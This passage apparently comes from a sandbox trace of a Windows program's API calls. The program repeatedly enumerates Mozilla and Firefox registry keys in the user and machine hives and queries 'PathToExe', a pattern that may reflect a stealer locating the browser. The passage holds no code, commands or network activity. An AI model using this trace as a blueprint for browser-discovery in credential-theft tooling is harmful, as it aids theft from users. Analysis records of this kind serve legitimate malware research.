lpcbData=0x12fd1c*=0x12fd04 | out: lpType=0x12fd18*=0x0, lpData=0x0, lpcbData=0x12fd1c*=0x0) returned 0x2 [0071.125] RegCloseKey (hKey=0x150) returned 0x0 [0071.125] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0071.125] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x150) returned 0x0 [0071.125] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.125] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.125] lstrlenA (lpString="\\") returned 1 [0071.125] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.125] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.125] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.125] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.125] lstrlenA (lpString="Firefox") returned 7 [0071.125] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x65d330 [0071.125] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.125] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.125] LocalFree (hMem=0x65e350) returned 0x0 [0071.125] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Mozilla") returned="Mozilla\\Firefox" [0071.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0071.126] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0071.126] RegCloseKey (hKey=0x130) returned 0x0 [0071.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0071.126] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0071.126] RegCloseKey (hKey=0x130) returned 0x0 [0071.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0071.126] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0071.126] RegCloseKey (hKey=0x130) returned 0x0 [0071.126] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.126] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.126] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.126] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0071.126] lstrlenA (lpString="\\") returned 1 [0071.126] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x65d3d8 [0071.126] lstrcpyA (in: lpString1=0x65d3d8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.126] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.126] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0071.126] lstrlenA (lpString="Crash Reporter") returned 14 [0071.126] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0071.126] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.126] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0071.126] LocalFree (hMem=0x65d3d8) returned 0x0 [0071.126] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Mozilla") returned="Mozilla\\Firefox\\Crash Reporter" [0071.126] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0071.127] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0071.127] RegCloseKey (hKey=0x134) returned 0x0 [0071.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0071.127] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0071.127] RegCloseKey (hKey=0x134) returned 0x0 [0071.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0071.127] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0071.127] RegCloseKey (hKey=0x134) returned 0x0 [0071.127] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.127] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.127] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.127] RegCloseKey (hKey=0x134) returned 0x0 [0071.127] LocalFree (hMem=0x646ba0) returned 0x0 [0071.127] LocalFree (hMem=0x6292f8) returned 0x0 [0071.127] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.127] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0071.127] lstrlenA (lpString="\\") returned 1 [0071.127] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x65d3d8 [0071.127] lstrcpyA (in: lpString1=0x65d3d8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.127] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.127] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0071.127] lstrlenA (lpString="TaskBarIDs") returned 10 [0071.127] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0071.127] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.127] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0071.127] LocalFree (hMem=0x65d3d8) returned 0x0 [0071.127] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Mozilla") returned="Mozilla\\Firefox\\TaskBarIDs" [0071.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0071.127] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0071.127] RegCloseKey (hKey=0x134) returned 0x0 [0071.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0071.127] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0071.127] RegCloseKey (hKey=0x134) returned 0x0 [0071.127] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0071.128] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0071.128] RegCloseKey (hKey=0x134) returned 0x0 [0071.128] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.128] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.128] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.128] RegCloseKey (hKey=0x134) returned 0x0 [0071.128] LocalFree (hMem=0x646ba0) returned 0x0 [0071.128] LocalFree (hMem=0x6292f8) returned 0x0 [0071.128] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.128] RegCloseKey (hKey=0x130) returned 0x0 [0071.128] LocalFree (hMem=0x646318) returned 0x0 [0071.128] LocalFree (hMem=0x65d330) returned 0x0 [0071.128] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.128] RegCloseKey (hKey=0x150) returned 0x0 [0071.128] LocalFree (hMem=0x645a90) returned 0x0 [0071.128] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Mozilla") returned="Mozilla" [0071.128] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd78 | out: phkResult=0x12fd78*=0x150) returned 0x0 [0071.128] RegQueryValueExA (in: hKey=0x150, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd70, lpData=0x0, lpcbData=0x12fd74*=0x7 | out: lpType=0x12fd70*=0x0, lpData=0x0, lpcbData=0x12fd74*=0x0) returned 0x2 [0071.128] RegCloseKey (hKey=0x150) returned 0x0 [0071.128] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd4c | out: phkResult=0x12fd4c*=0x150) returned 0x0 [0071.128] RegQueryValueExA (in: hKey=0x150, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd44, lpData=0x0, lpcbData=0x12fd48*=0x12fd30 | out: lpType=0x12fd44*=0x0, lpData=0x0, lpcbData=0x12fd48*=0x0) returned 0x2 [0071.128] RegCloseKey (hKey=0x150) returned 0x0 [0071.128] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fd20 | out: phkResult=0x12fd20*=0x150) returned 0x0 [0071.128] RegQueryValueExA (in: hKey=0x150, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd18, lpData=0x0, lpcbData=0x12fd1c*=0x12fd04 | out: lpType=0x12fd18*=0x0, lpData=0x0, lpcbData=0x12fd1c*=0x0) returned 0x2 [0071.128] RegCloseKey (hKey=0x150) returned 0x0 [0071.128] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0071.128] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x150) returned 0x0 [0071.128] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.128] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.128] lstrlenA (lpString="\\") returned 1 [0071.128] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.128] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.128] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.128] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.128] lstrlenA (lpString="Firefox") returned 7 [0071.128] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x65d330 [0071.129] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.129] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.129] LocalFree (hMem=0x65e350) returned 0x0 [0071.129] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Mozilla") returned="Mozilla\\Firefox" [0071.129] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0071.129] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0071.129] RegCloseKey (hKey=0x130) returned 0x0 [0071.129] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0071.129] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0071.129] RegCloseKey (hKey=0x130) returned 0x0 [0071.129] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0071.129] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0071.129] RegCloseKey (hKey=0x130) returned 0x0 [0071.129] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.129] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.129] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.129] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0071.129] lstrlenA (lpString="\\") returned 1 [0071.129] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x65d3d8 [0071.129] lstrcpyA (in: lpString1=0x65d3d8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0071.129] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.129] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0071.129] lstrlenA (lpString="TaskBarIDs") returned 10 [0071.129] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0071.129] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0071.129] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0071.129] LocalFree (hMem=0x65d3d8) returned 0x0 [0071.129] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Mozilla") returned="Mozilla\\Firefox\\TaskBarIDs" [0071.129] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0071.129] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0071.129] RegCloseKey (hKey=0x134) returned 0x0 [0071.129] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0071.129] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0071.129] RegCloseKey (hKey=0x134) returned 0x0 [0071.129] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0071.129] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0071.130] RegCloseKey (hKey=0x134) returned 0x0 [0071.130] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.130] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.130] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.130] RegCloseKey (hKey=0x134) returned 0x0 [0071.130] LocalFree (hMem=0x646ba0) returned 0x0 [0071.130] LocalFree (hMem=0x6292f8) returned 0x0 [0071.130] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.130] RegCloseKey (hKey=0x130) returned 0x0 [0071.130] LocalFree (hMem=0x646318) returned 0x0 [0071.130] LocalFree (hMem=0x65d330) returned 0x0 [0071.130] RegEnumKeyExA (in: hKey=0x150, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MaintenanceService", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.130] lstrlenA (lpString="Software\\Mozilla") returned 16 [0071.130] lstrlenA (lpString="\\") returned 1 [0071.130] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0071.130] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0071.130] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.130] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0071.130] lstrlenA (lpString="MaintenanceService") returned 18 [0071.130] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0071.130] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0071.130] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0071.130] LocalFree (hMem=0x65e350) returned 0x0 [0071.130] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService", lpSrch="Mozilla") returned="Mozilla\\MaintenanceService" [0071.130] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0071.130] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0071.130] RegCloseKey (hKey=0x130) returned 0x0 [0071.130] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0071.130] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0071.130] RegCloseKey (hKey=0x130) returned 0x0 [0071.130] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0071.130] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0071.130] RegCloseKey (hKey=0x130) returned 0x0 [0071.130] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0071.130] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0071.131] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.131] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService") returned 35 [0071.131] lstrlenA (lpString="\\") returned 1 [0071.131] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0071.131] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0071.131] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0071.131] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\") returned 36 [0071.131] lstrlenA (lpString="f9b87e891978e3145f0f8f9953eadc00") returned 32 [0071.131] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x65e350 [0071.131] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla\\MaintenanceService\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0071.131] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\", lpString2="f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0071.131] LocalFree (hMem=0x6293a8) returned 0x0 [0071.131] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpSrch="Mozilla") returned="Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0071.131] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0071.131] RegQueryValueExA (in: hKey=0x134, 